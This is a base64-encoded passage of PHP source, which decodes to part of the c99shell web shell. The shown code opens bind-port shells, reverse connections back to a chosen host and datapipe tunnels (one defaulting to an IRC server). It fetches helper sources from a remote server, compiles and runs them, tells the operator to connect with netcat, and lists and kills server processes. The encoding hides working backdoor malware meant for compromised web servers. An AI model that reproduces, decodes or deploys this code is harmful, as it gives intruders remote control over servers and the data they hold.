ybCAlcGF0aCAlcG9ydCIpLA0KICAiYzk5c2hfYmluZHBvcnQuYyI9PmFycmF5KCJVc2luZyBDIiwiJXBhdGggJXBvcnQgJXBhc3MiKQ0KICk7DQogJGJjc3JjcyA9IGFycmF5KA0KICAiYzk5c2hfYmFja2Nvbm4ucGwiPT5hcnJheSgiVXNpbmcgUEVSTCIsInBlcmwgJXBhdGggJWhvc3QgJXBvcnQiKSwNCiAgImM5OXNoX2JhY2tjb25uLmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVob3N0ICVwb3J0IikNCiApOw0KICRkcHNyY3MgPSBhcnJheSgNCiAgImM5OXNoX2RhdGFwaXBlLnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVsb2NhbHBvcnQgJXJlbW90ZWhvc3QgJXJlbW90ZXBvcnQiKSwNCiAgImM5OXNoX2RhdGFwaXBlLmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVsb2NhbHBvcnQgJXJlbW90ZXBvcnQgJXJlbW90ZWhvc3QiKQ0KICk7DQogaWYgKCFpc19hcnJheSgkYmluZCkpIHskYmluZCA9IGFycmF5KCk7fQ0KIGlmICghaXNfYXJyYXkoJGJjKSkgeyRiYyA9IGFycmF5KCk7fQ0KIGlmICghaXNfYXJyYXkoJGRhdGFwaXBlKSkgeyRkYXRhcGlwZSA9IGFycmF5KCk7fQ0KIA0KIGlmICghaXNfbnVtZXJpYygkYmluZFsicG9ydCJdKSkgeyRiaW5kWyJwb3J0Il0gPSAkYmluZHBvcnRfcG9ydDt9DQogaWYgKGVtcHR5KCRiaW5kWyJwYXNzIl0pKSB7JGJpbmRbInBhc3MiXSA9ICRiaW5kcG9ydF9wYXNzO30NCiAgDQogaWYgKGVtcHR5KCRiY1siaG9zdCJdKSkgeyRiY1siaG9zdCJdID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpO30NCiBpZiAoIWlzX251bWVyaWMoJGJjWyJwb3J0Il0pKSB7JGJjWyJwb3J0Il0gPSAkYmNfcG9ydDt9DQogDQogaWYgKGVtcHR5KCRkYXRhcGlwZVsicmVtb3RlYWRkciJdKSkgeyRkYXRhcGlwZVsicmVtb3RlYWRkciJdID0gImlyYy5kYWxuZXQucnU6NjY2NyI7fQ0KIGlmICghaXNfbnVtZXJpYygkZGF0YXBpcGVbImxvY2FscG9ydCJdKSkgeyRkYXRhcGlwZVsibG9jYWxwb3J0Il0gPSAkZGF0YXBpcGVfbG9jYWxwb3J0O30NCiBpZiAoIWVtcHR5KCRiaW5kc3VibWl0KSkNCiB7DQogIGVjaG8gIjxiPlJlc3VsdCBvZiBiaW5kaW5nIHBvcnQ6PC9iPjxicj4iOw0KICAkdiA9ICRibmRwb3J0c3Jjc1skYmluZFsic3JjIl1dOw0KICBpZiAoZW1wdHkoJHYpKSB7ZWNobyAiVW5rbm93biBmaWxlITxicj4iO30NCiAgZWxzZWlmIChmc29ja29wZW4oZ2V0ZW52KCJTRVJWRVJfQUREUiIpLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsMC4xKSkge2VjaG8gIlBvcnQgYWxyZWR5IGluIHVzZSwgc2VsZWN0IGFueSBvdGhlciE8YnI+Ijt9DQogIGVsc2UNCiAgew0KICAgJHcgPSBleHBsb2RlKCIuIiwkYmluZFsic3JjIl0pOw0KICAgJGV4dCA9ICR3W2NvdW50KCR3KS0xXTsNCiAgIHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7DQogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7DQogICAkYmlucGF0aCA9ICR0bXBkaXIuam9pbigiLiIsJHcpLnJhbmQoMCw5OTkpOw0KICAgaWYgKCRleHQgPT0gInBsIikgeyRiaW5wYXRoID0gJHNyY3BhdGg7fQ0KICAgQHVubGluaygkc3JjcGF0aCk7DQogICAkZnAgPSBmb3Blbigkc3JjcGF0aCwiYWIrIik7DQogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9DQogICBlbHNlaWYgKCEkZGF0YSA9IGM5OWdldHNvdXJjZSgkYmluZFsic3JjIl0pKSB7ZWNobyAiQ2FuJ3QgZG93bmxvYWQgc291cmNlcyEiO30NCiAgIGVsc2UNCiAgIHsNCiAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOw0KICAgIGZjbG9zZSgkZnApOw0KICAgIGlmICgkZXh0ID09ICJjIikgeyRyZXRnY2MgPSBteXNoZWxsZXhlYygiZ2NjIC1vICIuJGJpbnBhdGguIiAiLiRzcmNwYXRoKTsgIEB1bmxpbmsoJHNyY3BhdGgpO30NCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmluZFsicG9ydCJdLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGFzcyIsJGJpbmRbInBhc3MiXSwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7DQogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsNCiAgICBzbGVlcCg1KTsNCiAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwkYmluZFsicG9ydCJdLCRlcnJubywkZXJyc3RyLDUpOw0KICAgIGlmICghJHNvY2spIHtlY2hvICJJIGNhbid0IGNvbm5lY3QgdG8gbG9jYWxob3N0OiIuJGJpbmRbInBvcnQiXS4iISBJIHRoaW5rIHlvdSBzaG91bGQgY29uZmlndXJlIHlvdXIgZmlyZXdhbGwuIjt9DQogICAgZWxzZSB7ZWNobyAiQmluZGluZy4uLiBvayEgQ29ubmVjdCB0byA8Yj4iLmdldGVudigiU0VSVkVSX0FERFIiKS4iOiIuJGJpbmRbInBvcnQiXS4iPC9iPiEgWW91IHNob3VsZCB1c2UgTmV0Q2F0JmNvcHk7LCBydW4gXCI8Yj5uYyAtdiAiLmdldGVudigiU0VSVkVSX0FERFIiKS4iICIuJGJpbmRbInBvcnQiXS4iPC9iPlwiITxjZW50ZXI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1wcm9jZXNzZXMmZ3JlcD0iLmJhc2VuYW1lKCRiaW5wYXRoKS4iXCI+PHU+VmlldyBiaW5kZXIncyBwcm9jZXNzPC91PjwvYT48L2NlbnRlcj4iO30NCiAgIH0NCiAgIGVjaG8gIjxicj4iOw0KICB9DQogfQ0KIGlmICghZW1wdHkoJGJjc3VibWl0KSkNCiB7DQogIGVjaG8gIjxiPlJlc3VsdCBvZiBiYWNrIGNvbm5lY3Rpb246PC9iPjxicj4iOw0KICAkdiA9ICRiY3NyY3NbJGJjWyJzcmMiXV07DQogIGlmIChlbXB0eSgkdikpIHtlY2hvICJVbmtub3duIGZpbGUhPGJyPiI7fQ0KICBlbHNlDQogIHsNCiAgICR3ID0gZXhwbG9kZSgiLiIsJGJjWyJzcmMiXSk7DQogICAkZXh0ID0gJHdbY291bnQoJHcpLTFdOw0KICAgdW5zZXQoJHdbY291bnQoJHcpLTFdKTsNCiAgICRzcmNwYXRoID0gam9pbigiLiIsJHcpLiIuIi5yYW5kKDAsOTk5KS4iLiIuJGV4dDsNCiAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIuIiwkdykucmFuZCgwLDk5OSk7DQogICBpZiAoJGV4dCA9PSAicGwiKSB7JGJpbnBhdGggPSAkc3JjcGF0aDt9DQogICBAdW5saW5rKCRzcmNwYXRoKTsNCiAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsNCiAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3Qgd3JpdGUgc291cmNlcyB0byBcIiIuJHNyY3BhdGguIlwiITxicj4iO30NCiAgIGVsc2VpZiAoISRkYXRhID0gYzk5Z2V0c291cmNlKCRiY1sic3JjIl0pKSB7ZWNobyAiQ2FuJ3QgZG93bmxvYWQgc291cmNlcyEiO30NCiAgIGVsc2UNCiAgIHsNCiAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOw0KICAgIGZjbG9zZSgkZnApOw0KICAgIGlmICgkZXh0ID09ICJjIikgeyRyZXRnY2MgPSBteXNoZWxsZXhlYygiZ2NjIC1vICIuJGJpbnBhdGguIiAiLiRzcmNwYXRoKTsgQHVubGluaygkc3JjcGF0aCk7fQ0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJWhvc3QiLCRiY1siaG9zdCJdLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcG9ydCIsJGJjWyJwb3J0Il0sJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOw0KICAgICRyZXRiaW5kID0gbXlzaGVsbGV4ZWMoJHZbMV0uIiA+IC9kZXYvbnVsbCAmIik7DQogICAgZWNobyAiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLmh0bWxzcGVjaWFsY2hhcnMoJGJjWyJob3N0Il0pLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRiY1sicG9ydCJdKS4iLi4uPGJyPiI7DQogICB9DQogIH0NCiB9DQogaWYgKCFlbXB0eSgkZHBzdWJtaXQpKQ0KIHsNCiAgZWNobyAiPGI+UmVzdWx0IG9mIGRhdGFwaXBlLXJ1bm5pbmc6PC9iPjxicj4iOw0KICAkdiA9ICRkcHNyY3NbJGRhdGFwaXBlWyJzcmMiXV07DQogIGlmIChlbXB0eSgkdikpIHtlY2hvICJVbmtub3duIGZpbGUhPGJyPiI7fQ0KICBlbHNlaWYgKGZzb2Nrb3BlbihnZXRlbnYoIlNFUlZFUl9BRERSIiksJGRhdGFwaXBlWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsMC4xKSkge2VjaG8gIlBvcnQgYWxyZWR5IGluIHVzZSwgc2VsZWN0IGFueSBvdGhlciE8YnI+Ijt9DQogIGVsc2UNCiAgew0KICAgJHNyY3BhdGggPSAkdG1wZGlyLiRkYXRhcGlwZVsic3JjIl07DQogICAkdyA9IGV4cGxvZGUoIi4iLCRkYXRhcGlwZVsic3JjIl0pOw0KICAgJGV4dCA9ICR3W2NvdW50KCR3KS0xXTsNCiAgIHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7DQogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7DQogICAkYmlucGF0aCA9ICR0bXBkaXIuam9pbigiLiIsJHcpLnJhbmQoMCw5OTkpOw0KICAgaWYgKCRleHQgPT0gInBsIikgeyRiaW5wYXRoID0gJHNyY3BhdGg7fQ0KICAgQHVubGluaygkc3JjcGF0aCk7DQogICAkZnAgPSBmb3Blbigkc3JjcGF0aCwiYWIrIik7DQogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9DQogICBlbHNlaWYgKCEkZGF0YSA9IGM5OWdldHNvdXJjZSgkZGF0YXBpcGVbInNyYyJdKSkge2VjaG8gIkNhbid0IGRvd25sb2FkIHNvdXJjZXMhIjt9DQogICBlbHNlDQogICB7DQogICAgZndyaXRlKCRmcCwkZGF0YSxzdHJsZW4oJGRhdGEpKTsNCiAgICBmY2xvc2UoJGZwKTsNCiAgICBpZiAoJGV4dCA9PSAiYyIpIHskcmV0Z2NjID0gbXlzaGVsbGV4ZWMoImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4kc3JjcGF0aCk7IEB1bmxpbmsoJHNyY3BhdGgpO30NCiAgICBsaXN0KCRkYXRhcGlwZVsicmVtb3RlaG9zdCJdLCRkYXRhcGlwZVsicmVtb3RlcG9ydCJdKSA9IGV4cGxvZGUoIjoiLCRkYXRhcGlwZVsicmVtb3RlYWRkciJdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVsb2NhbHBvcnQiLCRkYXRhcGlwZVsibG9jYWxwb3J0Il0sJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVyZW1vdGVob3N0IiwkZGF0YXBpcGVbInJlbW90ZWhvc3QiXSwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXJlbW90ZXBvcnQiLCRkYXRhcGlwZVsicmVtb3RlcG9ydCJdLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIvLyIsIi8iLCR2WzFdKTsNCiAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOw0KICAgIHNsZWVwKDUpOw0KICAgICRzb2NrID0gZnNvY2tvcGVuKCJsb2NhbGhvc3QiLCRkYXRhcGlwZVsicG9ydCJdLCRlcnJubywkZXJyc3RyLDUpOw0KICAgIGlmICghJHNvY2spIHtlY2hvICJJIGNhbid0IGNvbm5lY3QgdG8gbG9jYWxob3N0OiIuJGRhdGFwaXBlWyJsb2NhbHBvcnQiXS4iISBJIHRoaW5rIHlvdSBzaG91bGQgY29uZmlndXJlIHlvdXIgZmlyZXdhbGwuIjt9DQogICAgZWxzZSB7ZWNobyAiUnVubmluZyBkYXRhcGlwZS4uLiBvayEgQ29ubmVjdCB0byA8Yj4iLmdldGVudigiU0VSVkVSX0FERFIiKS4iOiIuJGRhdGFwaXBlWyJwb3J0Il0uIiwgYW5kIHlvdSB3aWxsIGNvbm5lY3RlZCB0byAiLiRkYXRhcGlwZVsicmVtb3RlYWRkciJdLiI8L2I+ISBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biBcIjxiPm5jIC12ICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgIi4kYmluZFsicG9ydCJdLiI8L2I+XCIhPGNlbnRlcj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZncmVwPSIuYmFzZW5hbWUoJGJpbnBhdGgpLiJcIj48dT5WaWV3IGRhdGFwaXBlIHByb2Nlc3M8L3U+PC9hPjwvY2VudGVyPiI7fQ0KICAgfQ0KICAgZWNobyAiPGJyPiI7DQogIH0NCiB9DQogPz48Yj5CaW5kaW5nIHBvcnQ6PC9iPjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPlBvcnQ6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iYmluZFtwb3J0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmluZFsicG9ydCJdKTsgPz4iPiZuYnNwO1Bhc3N3b3JkOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJpbmRbcGFzc10iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBhc3MiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImJpbmRbc3JjXSI+PD9waHANCiBmb3JlYWNoKCRibmRwb3J0c3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJpbmRbInNyYyJdKSB7ZWNobyAiIHNlbGVjdGVkIjt9IGVjaG8gIj4iLiR2WzBdLiI8L29wdGlvbj4iO30NCiA/Pjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWJpbmRzdWJtaXQgdmFsdWU9IkJpbmQiPjwvZm9ybT4NCjxiPkJhY2sgY29ubmVjdGlvbjo8L2I+PGJyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+SE9TVDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiY1tob3N0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmNbImhvc3QiXSk7ID8+Ij4mbmJzcDtQb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJjW3BvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiY1sicG9ydCJdKTsgPz4iPiZuYnNwOzxzZWxlY3QgbmFtZT0iYmNbc3JjXSI+PD9waHANCmZvcmVhY2goJGJjc3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJjWyJzcmMiXSkge2VjaG8gIiBzZWxlY3RlZCI7fSBlY2hvICI+Ii4kdlswXS4iPC9vcHRpb24+Ijt9DQo/Pjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWJjc3VibWl0IHZhbHVlPSJDb25uZWN0Ij48L2Zvcm0+DQpDbGljayAiQ29ubmVjdCIgb25seSBhZnRlciBvcGVuIHBvcnQgZm9yIGl0LiBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biAiPGI+bmMgLWwgLW4gLXYgLXAgPD9waHAgZWNobyAkYmNfcG9ydDsgPz48L2I+IiE8YnI+PGJyPg0KPGI+RGF0YXBpcGU6PC9iPjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iZGF0YXBpcGVbcmVtb3RlYWRkcl0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFwaXBlWyJyZW1vdGVhZGRyIl0pOyA/PiI+Jm5ic3A7TG9jYWwgcG9ydDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJkYXRhcGlwZVtsb2NhbHBvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYXRhcGlwZVsibG9jYWxwb3J0Il0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJkYXRhcGlwZVtzcmNdIj48P3BocA0KZm9yZWFjaCgkZHBzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmNbInNyYyJdKSB7ZWNobyAiIHNlbGVjdGVkIjt9IGVjaG8gIj4iLiR2WzBdLiI8L29wdGlvbj4iO30NCj8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9ZHBzdWJtaXQgdmFsdWU9IlJ1biI+PC9mb3JtPjxiPk5vdGU6PC9iPiBzb3VyY2VzIHdpbGwgYmUgZG93bmxvYWRlZCBmcm9tIHJlbW90ZSBzZXJ2ZXIuPD9waHANCn0NCmlmICgkYWN0ID09ICJwcm9jZXNzZXMiKQ0Kew0KIGVjaG8gIjxiPlByb2Nlc3Nlczo8L2I+PGJyPiI7DQogaWYgKCEkd2luKSB7JGhhbmRsZXIgPSAicHMgLWF1eCIuKCRncmVwPyIgfCBncmVwICciLmFkZHNsYXNoZXMoJGdyZXApLiInIjoiIik7fQ0KIGVsc2UgeyRoYW5kbGVyID0gInRhc2tsaXN0Ijt9DQogJHJldCA9IG15c2hlbGxleGVjKCRoYW5kbGVyKTsNCiBpZiAoISRyZXQpIHtlY2hvICJDYW4ndCBleGVjdXRlIFwiIi4kaGFuZGxlci4iXCIhIjt9DQogZWxzZQ0KIHsNCiAgaWYgKGVtcHR5KCRwcm9jZXNzZXNfc29ydCkpIHskcHJvY2Vzc2VzX3NvcnQgPSAkc29ydF9kZWZhdWx0O30NCiAgJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkcHJvY2Vzc2VzX3NvcnQpOw0KICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9DQogICRrID0gJHBhcnNlc29ydFswXTsNCiAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImFcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfZGVzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iO30NCiAgZWxzZSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfYXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fQ0KICAkcmV0ID0gaHRtbHNwZWNpYWxjaGFycygkcmV0KTsNCiAgaWYgKCEkd2luKQ0KICB7DQogICBpZiAoJHBpZCkNCiAgIHsNCiAgICBpZiAoaXNfbnVsbCgkc2lnKSkgeyRzaWcgPSA5O30NCiAgICBlY2hvICJTZW5kaW5nIHNpZ25hbCAiLiRzaWcuIiB0byAjIi4kcGlkLiIuLi4gIjsNCiAgICBpZiAocG9zaXhfa2lsbCgkcGlkLCRzaWcpKSB7ZWNobyAiT0suIjt9DQogICAgZWxzZSB7ZWNobyAiRVJST1IuIjt9DQogICB9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAiLCRyZXQpO30NCiAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwkcmV0KTsNCiAgICRoZWFkID0gZXhwbG9kZSgiICIsJHN0YWNrWzBdKTsNCiAgIHVuc2V0KCRzdGFja1swXSk7DQogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykNCiAgIHsNCiAgICBpZiAoJGkgIT0gJGspIHskaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii4kaGVhZFskaV0uIjwvYj48L2E+Ijt9DQogICB9DQogICAkcHJjcyA9IGFycmF5KCk7DQogICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpDQogICB7DQogICAgaWYgKCFlbXB0eSgkbGluZSkpDQp7DQogZWNobyAiPHRyPiI7DQogICAgICRsaW5lID0gZXhwbG9kZSgiICIsJGxpbmUpOw0KICAgICAkbGluZVsxMF0gPSBqb2luKCIgIixhcnJheV9zbGljZSgkbGluZSwxMCkpOw0KICAgICAkbGluZSA9IGFycmF5X3NsaWNlKCRsaW5lLDAsMTEpOw0KICAgICBpZiAoJGxpbmVbMF0gPT0gZ2V0X2N1cnJlbnRfdXNlcigpKSB7JGxpbmVbMF0gPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kbGluZVswXS4iPC9mb250PiI7fQ0KICAgICAkbGluZVtdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMV0uIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7DQogICAgICRwcmNzW10gPSAkbGluZTsNCiAgICAgZWNobyAiPC90cj4iOw0KICAgIH0NCiAgIH0NCiAgfQ0KICBlbHNlDQogIHsNCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQ0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQ0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQ0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIiLCIiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICIsIiIsJHJldCk7fQ0KICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgdW5zZXQoJHN0YWNrWzBdLCRzdGFja1syXSk7DQogICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsNCiAgICRoZWFkID0gZXhwbG9kZSgiIiwkc3RhY2tbMF0pOw0KICAgJGhlYWRbMV0gPSBleHBsb2RlKCIgIiwkaGVhZFsxXSk7DQogICAkaGVhZFsxXSA9ICRoZWFkWzFdWzBdOw0KICAgJHN0YWNrID0gYXJyYXlfc2xpY2UoJHN0YWNrLDEpOw0KICAgdW5zZXQoJGhlYWRbMl0pOw0KICAgJGhlYWQgPSBhcnJheV92YWx1ZXMoJGhlYWQpOw0KICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImFcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfZGVzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iO30NCiAgIGVsc2UgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2FzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iO30NCiAgIGlmICgkayA+IGNvdW50KCRoZWFkKSkgeyRrID0gY291bnQoJGhlYWQpLTE7fQ0KICAgZm9yKCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspDQogICB7DQogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIudHJpbSgkaGVhZFskaV0pLiI8L2I+PC9hPiI7fQ0KICAgfQ0KICAgJHByY3MgPSBhcnJheSgpOw0KICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQ0KICAgew0KICAgIGlmICghZW1wdHkoJGxpbmUpKQ0KICAgIHsNCiAgICAgZWNobyAiPHRyPiI7DQogICAgICRsaW5lID0gZXhwbG9kZSgiIiwkbGluZSk7DQogICAgICRsaW5lWzFdID0gaW50dmFsKCRsaW5lWzFdKTsgJGxpbmVbMl0gPSAkbGluZVszXTsgdW5z